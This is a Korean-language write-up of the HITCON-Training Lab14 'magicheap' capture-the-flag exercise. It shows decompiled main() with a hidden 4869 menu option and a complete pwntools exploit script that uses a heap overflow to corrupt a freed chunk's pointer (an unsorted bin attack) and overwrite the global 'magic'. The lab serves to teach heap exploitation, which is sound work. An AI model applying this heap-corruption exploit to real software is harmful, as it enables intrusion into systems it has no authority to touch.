[HITCON-Training]Lab14

메뉴는 이런식으로 구성되어있다.

1. Create a Heap
2. Edit a Heap
3. Delete a Heap
4. Exit

메인 함수다. hidden menu가 존재해서 magic이라는 전역변수를 4869 이상으로 만들면 된다. 그러면 l33t 함수에서 cat flag 해준다.

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf; // [rsp+0h] [rbp-10h]
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, &buf, 8uLL);
      v3 = atoi(&buf);
      if ( v3 != 3 )
        break;
      delete_heap(&buf, &buf);
    }
    if ( v3 > 3 )
    {
      if ( v3 == 4 )
        exit(0);
      if ( v3 == 4869 )
      {
        if ( magic <= 4869 )
        {
          puts("So sad !");
        }
        else
        {
          puts("Congrt !");
          l33t();
        }
      }
      else
      {
LABEL_17:
        puts("Invalid Choice");
      }
    }
    else if ( v3 == 1 )
    {
      create_heap();
    }
    else
    {
      if ( v3 != 2 )
        goto LABEL_17;
      edit_heap();
    }
  }
}

unsorted bin attack문제다. magic을 main_arena + 88로 덮어주면 된다. 그러면 4869를 입력해서 플래그 얻을 수 있다.

exploit.py

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./magicheap')
p = process('./magicheap')
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
magic = 0x0000000006020C0

def create(size,content):
	sla(':','1')
	sla(':',str(size))
	sa(':',content)

def edit(index,size,content):
	sla(':','2')
	sla(':',str(index))
	sla(':',str(size))
	sa(':',content)

def delete(index):
	sla(':','3')
	sla(':',str(index))

def exit():
	sla(':','4')

def shell():
	sla(':','4869')

create(128,'A'*8)
create(128,'B'*8)
create(128,'C'*8)
delete(1)
edit(0,200,'D'*136 + p64(0x91) + p64(0) + p64(magic - 0x10))
create(128,'E'*8)
shell()

p.interactive()